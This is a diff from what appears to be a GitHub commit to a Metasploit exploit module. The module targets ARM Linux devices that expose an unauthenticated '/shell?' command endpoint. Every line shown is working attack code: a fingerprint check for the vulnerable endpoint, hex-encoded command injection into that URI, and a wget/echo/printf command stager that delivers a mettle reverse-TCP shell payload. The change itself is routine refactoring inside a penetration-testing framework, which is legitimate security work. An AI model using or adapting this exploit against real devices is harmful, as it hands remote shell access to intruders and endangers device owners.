3
3
# Current source: https://github.com/rapid7/metasploit-framework
4
4
##
5
5
6
- require 'msf/core'
7
-
8
6
class MetasploitModule < Msf ::Exploit ::Remote
9
7
Rank = ExcellentRanking
10
8
@@ -47,39 +45,39 @@ def initialize(info = {})
47
45
'Arch' => ARCH_ARMLE ,
48
46
'DefaultOptions' =>
49
47
{
50
- 'Payload' => 'linux/armle/mettle_reverse_tcp'
48
+ 'Payload' => 'linux/armle/mettle_reverse_tcp' ,
49
+ 'cmdstager::flavor' => 'wget'
51
50
} ,
52
51
'Targets' =>
53
52
[
54
53
[ 'Automatic' , { } ]
55
54
] ,
56
- 'DefaultTarget' => 0 ) )
57
- deregister_options ( 'CMDSTAGER::FLAVOR' )
55
+ 'CmdStagerFlavor' => %w{ echo printf wget } ,
56
+ 'DefaultTarget' => 0 ) )
58
57
end
59
58
60
59
def check
61
60
begin
62
61
fingerprint = Rex ::Text ::rand_text_alpha ( rand ( 10 ) + 6 )
63
- res = send_request_cgi ( {
62
+ res = send_request_cgi (
64
63
'uri' => "/shell?echo+#{ fingerprint } " ,
65
64
'headers' => { 'Connection' => 'Keep-Alive' }
66
- } )
67
- if res && res . body =~ / #{ fingerprint } /
68
- return Exploit :: CheckCode ::Vulnerable
65
+ )
66
+ if res && res . body . include? ( fingerprint )
67
+ return CheckCode ::Vulnerable
69
68
end
70
69
rescue ::Rex ::ConnectionError
71
- return Exploit :: CheckCode ::Unknown
70
+ return CheckCode ::Unknown
72
71
end
73
- Exploit :: CheckCode ::Safe
72
+ CheckCode ::Safe
74
73
end
75
74
76
75
def execute_command ( cmd , opts )
77
76
begin
78
- res = send_request_cgi ( {
77
+ send_request_cgi (
79
78
'uri' => "/shell?#{ Rex ::Text . uri_encode ( cmd , 'hex-all' ) } " ,
80
79
'headers' => { 'Connection' => 'Keep-Alive' }
81
- } )
82
- return res
80
+ )
83
81
rescue ::Rex ::ConnectionError
84
82
fail_with ( Failure ::Unreachable , "#{ peer } - Failed to connect to the web server" )
85
83
end
@@ -88,12 +86,12 @@ def execute_command(cmd, opts)
88
86
def exploit
89
87
print_status ( "#{ peer } - Connecting to target" )
90
88
91
- unless check == Exploit :: CheckCode ::Vulnerable
89
+ unless check == CheckCode ::Vulnerable
92
90
fail_with ( Failure ::Unknown , "#{ peer } - Target is not vulnerable" )
93
91
end
94
92
95
93
print_good ( "#{ peer } - Target is vulnerable!" )
96
94
97
- execute_cmdstager ( flavor : :wget , linemax : 1500 )
95
+ execute_cmdstager ( linemax : 1500 )
98
96
end
99
97
end
0 commit comments